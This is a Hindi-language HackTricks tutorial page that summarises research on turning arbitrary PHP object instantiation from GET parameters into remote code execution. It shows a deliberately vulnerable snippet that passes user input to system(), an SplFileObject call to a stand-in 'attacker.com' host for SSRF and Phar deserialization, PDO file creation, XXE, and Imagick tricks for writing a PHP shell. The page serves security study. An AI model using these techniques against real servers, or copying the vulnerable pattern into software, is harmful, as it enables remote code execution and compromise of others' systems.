PHP - RCE ऑब्जेक्ट निर्माण का दुरुपयोग: नया $_GET["a"]($_GET["b"])

Reading time: 5 minutes

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें

यह मूल रूप से एक सारांश है https://swarm.ptsecurity.com/exploiting-arbitrary-object-instantiations/

परिचय

नए मनमाने ऑब्जेक्ट्स का निर्माण, जैसे कि new $_GET["a"]($_GET["a"]), रिमोट कोड निष्पादन (RCE) की ओर ले जा सकता है, जैसा कि एक लेख में विस्तृत किया गया है। यह दस्तावेज़ RCE प्राप्त करने के लिए विभिन्न रणनीतियों को उजागर करता है।

कस्टम क्लासेस या ऑटोलोडिंग के माध्यम से RCE

सिंटैक्स new $a($b) का उपयोग एक ऑब्जेक्ट को इंस्टेंटिएट करने के लिए किया जाता है जहाँ $a क्लास नाम का प्रतिनिधित्व करता है और $b कंस्ट्रक्टर को पास किया गया पहला तर्क है। ये वेरिएबल्स उपयोगकर्ता इनपुट जैसे GET/POST से प्राप्त किए जा सकते हैं, जहाँ वे स्ट्रिंग्स या एरे हो सकते हैं, या JSON से, जहाँ वे अन्य प्रकारों के रूप में प्रस्तुत हो सकते हैं।

नीचे दिए गए कोड स्निपेट पर विचार करें:

php
class App {
function __construct ($cmd) {
system($cmd);
}
}

class App2 {
function App2 ($cmd) {
system($cmd);
}
}

$a = $_GET['a'];
$b = $_GET['b'];

new $a($b);

इस मामले में, $a को App या App2 पर सेट करना और $b को एक सिस्टम कमांड (जैसे, uname -a) पर सेट करना उस कमांड के निष्पादन का परिणाम देता है।

ऑटोलोडिंग फ़ंक्शन का शोषण किया जा सकता है यदि ऐसी कोई कक्षाएँ सीधे सुलभ नहीं हैं। ये फ़ंक्शन आवश्यकतानुसार फ़ाइलों से कक्षाओं को स्वचालित रूप से लोड करते हैं और इन्हें spl_autoload_register या __autoload का उपयोग करके परिभाषित किया जाता है:

php
spl_autoload_register(function ($class_name) {
include './../classes/' . $class_name . '.php';
});

function __autoload($class_name) {
include $class_name . '.php';
};

spl_autoload_register();

autoloading का व्यवहार PHP संस्करणों के साथ भिन्न होता है, जो विभिन्न RCE संभावनाएँ प्रदान करता है।

Built-In Classes के माध्यम से RCE

कस्टम क्लास या ऑटोलोडर्स की कमी में, built-in PHP classes RCE के लिए पर्याप्त हो सकती हैं। इन क्लासों की संख्या PHP संस्करण और एक्सटेंशन के आधार पर 100 से 200 के बीच होती है। इन्हें get_declared_classes() का उपयोग करके सूचीबद्ध किया जा सकता है।

रिफ्लेक्शन API के माध्यम से रुचि के कंस्ट्रक्टर्स की पहचान की जा सकती है, जैसा कि निम्नलिखित उदाहरण और लिंक https://3v4l.org/2JEGF में दिखाया गया है।

विशिष्ट विधियों के माध्यम से RCE में शामिल हैं:

SSRF + Phar Deserialization

SplFileObject क्लास अपने कंस्ट्रक्टर के माध्यम से SSRF को सक्षम बनाती है, जो किसी भी URL से कनेक्शन की अनुमति देती है:

php
new SplFileObject('http://attacker.com/');

SSRF पुराने PHP संस्करणों में 8.0 से पहले deserialization हमलों का कारण बन सकता है, जो Phar प्रोटोकॉल का उपयोग करता है।

PDOs का शोषण करना

PDO क्लास कंस्ट्रक्टर DSN स्ट्रिंग्स के माध्यम से डेटाबेस से कनेक्शन की अनुमति देता है, जो फ़ाइल निर्माण या अन्य इंटरैक्शन को सक्षम कर सकता है:

php
new PDO("sqlite:/tmp/test.txt")

SoapClient/SimpleXMLElement XXE

PHP के 5.3.22 और 5.4.12 तक के संस्करण SoapClient और SimpleXMLElement कंस्ट्रक्टर्स के माध्यम से XXE हमलों के प्रति संवेदनशील थे, जो libxml2 के संस्करण पर निर्भर करते हैं।

RCE via Imagick Extension

एक प्रोजेक्ट की निर्भरताओं के विश्लेषण में, यह पाया गया कि Imagick का उपयोग कमांड निष्पादन के लिए नए ऑब्जेक्ट्स को इंस्टेंटिएट करके किया जा सकता है। यह कमजोरियों का लाभ उठाने का एक अवसर प्रस्तुत करता है।

VID parser

फाइल सिस्टम में किसी भी निर्दिष्ट पथ पर सामग्री लिखने की VID parser क्षमता की पहचान की गई। इससे एक वेब-एक्सेसिबल डायरेक्टरी में PHP शेल रखने की संभावना बनती है, जिससे रिमोट कोड निष्पादन (RCE) प्राप्त होता है।

VID Parser + File Upload

यह noted किया गया है कि PHP अस्थायी रूप से अपलोड की गई फ़ाइलों को /tmp/phpXXXXXX में संग्रहीत करता है। Imagick में VID parser, msl प्रोटोकॉल का उपयोग करते हुए, फ़ाइल पथ में वाइल्डकार्ड को संभाल सकता है, जिससे अस्थायी फ़ाइल को चुने हुए स्थान पर स्थानांतरित करना संभव होता है। यह विधि फाइल सिस्टम के भीतर मनमाने फ़ाइल लेखन को प्राप्त करने के लिए एक अतिरिक्त दृष्टिकोण प्रदान करती है।

PHP Crash + Brute Force

मूल लेख में वर्णित एक विधि में ऐसी फ़ाइलें अपलोड करना शामिल है जो हटाने से पहले सर्वर क्रैश को ट्रिगर करती हैं। अस्थायी फ़ाइल के नाम को ब्रूट-फोर्स करके, Imagick के लिए मनमाना PHP कोड निष्पादित करना संभव हो जाता है। हालाँकि, यह तकनीक केवल ImageMagick के एक पुराने संस्करण में प्रभावी पाई गई।

References

tip

AWS हैकिंग सीखें और अभ्यास करें:HackTricks Training AWS Red Team Expert (ARTE)
GCP हैकिंग सीखें और अभ्यास करें: HackTricks Training GCP Red Team Expert (GRTE)

HackTricks का समर्थन करें